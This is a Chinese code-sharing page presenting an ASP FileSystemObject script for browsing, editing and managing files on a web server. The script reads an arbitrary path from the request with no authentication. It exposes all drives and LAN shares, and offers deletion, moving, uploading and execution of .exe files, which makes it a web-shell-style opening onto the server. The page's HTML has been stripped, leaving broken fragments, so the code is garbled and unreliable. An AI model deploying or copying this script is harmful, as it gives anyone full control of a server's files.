您现在的位置是:网站首页> 编程资料编程资料

文件的读出 编辑 管理_FSO专题_

2023-05-25 420人已围观

简介 文件的读出 编辑 管理_FSO专题_

<%
urlpath="http://"&Request.ServerVariables("SERVER_NAME")
dim cpath,lpath
set fsoBrowse=CreateObject("Scripting.FileSystemObject")
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"回上级目录
"
Response.write""
For Each x In theSubFolders
Response.write""
Response.Write ""
Response.Write ""
Response.Write ""
Next
Response.Write "
"&x.Name&"×删除×移改×复制
"
end if
End Sub

Sub GetFile()
dim theFiles
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write""
For Each x In theFiles
if Request("attrib")="true" then
showstring=""&x.Name&""
else
showstring=""&x.name&""
end if
if right(x.name,4)=".exe" or right(x.name,4)=".EXE" then
showstring=showstring&""
else
showstring=showstring&""
end if
Response.write""
Next
end if
Response.write"
执行
"&showstring&""&x.size&"字节属性查看编辑×删除复制移动
"
End Sub
%>











bordercolordark="#FFFFFF" cellspacing="0">









onSubmit="return crfile(newfile.filename.value);">






※切换到相应盘符:style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%
For Each thing in fsoBrowse.Drives
Response.write "◎"&thing.DriveLetter&":"
NEXT
%>


[如果该盘在服务器上不存在,那么将不显示东西,你也可以更URL上的PATH值换换到其它路径上,支持局域网地址,如:"\\pc01\c"]
※<%
if Request("attrib")="true" then
response.write "切换到相对路径编辑模式"
else
response.write "切换到绝对路径编辑模式"
end if
%> ※绝对路径:style="background-color: rgb(255,255,255)"><%=cpath%>
※当前目录:<%=lpath%>

※上传文件到当前目录: target=_blank>上传文件(文件大小最好不要超过500K)
〖文件〗 注:只允许文本编辑|type="submit" value="新建文件">
<%Call GetFolder()%>
<%Call GetFile()%>





-六神源码网